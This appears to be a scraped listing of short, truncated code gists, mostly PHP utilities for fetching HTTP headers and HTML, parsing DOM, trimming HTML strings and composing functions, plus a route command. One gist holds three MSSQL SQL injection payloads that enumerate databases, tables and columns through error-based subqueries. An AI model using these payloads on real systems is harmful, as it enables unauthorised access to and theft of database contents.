This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
获取http响应的头信息 | |
parameter: | |
$url : the target url | |
$formate: if non-zero,function parses the response and sets the array's keys | |
return : | |
array | |
return example: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( ! function_exists('http_get_utf8_html')) | |
{ | |
function http_get_utf8_html($url,$from_encoding='') | |
{ | |
$result = array(); | |
$result['url'] = $url; | |
$result['html'] = ''; | |
$header = get_headers_by_curl($url); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
mysql_connect(); | |
//测试数据 | |
$sql =<<< SQL | |
select * from ( | |
select '1' as id, '0' as pid, 'Food' as title | |
union all select '2', '1', 'Fruit' | |
union all select '3', '2', 'Red' | |
union all select '4', '3', 'Cherry' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(-1); | |
$parent_nodes = array(); | |
$html = file_get_contents("http://www.csdn.net/article/2013-01-09/2813524-CSDN-morning-paper"); | |
$doc = new DOMDocument(); | |
$doc->encoding = "utf-8"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))-- | |
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))-- | |
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function checkUploadText($content) | |
{ | |
$stoptext = file_get_contents($this->CI->config->item('stopword_file')); | |
$stoptext = str_replace("\n",'',$stoptext); | |
$stoptext = str_replace("\r",'',$stoptext); | |
$stopwords = array_map('strtolower',explode(',',$stoptext)); | |
$content = strtolower($content); | |
$ret = array('ret'=>1,'word'=>''); | |
if($content!='') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo route -n add -net 192.168.6.0 -netmask 255.255.255.0 192.168.200.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* 函数名 html_substr | |
* 功能 从html串中截取指定长度的字串,html标记不计算在内 | |
* 参数 | |
* $str 要截取的串 | |
* $len 要截取的长度 | |
* $mode 不匹配的标记的处理方式 0 删去(默认),1 补齐 | |
* 返回 截取到的串 | |
* 说明 | |
* 未考虑多字节字符,仅已字节做计数单位 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function compose() { | |
$funcs = func_get_args(); | |
return function ($x) use ($funcs) { | |
foreach($funcs as $func) | |
$x = $func($x); | |
return $x; | |
}; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
for($i=0;$i< 90000; $i++) | |
{ | |
$a .= ','.rand(10000,99999); | |
} | |
// $b = explode(',', $a); | |
// $c =array_slice($b, 0, 20); | |
// var_dump($c); | |
$cc = 0;$pos = 0; | |
echo $a[0]; |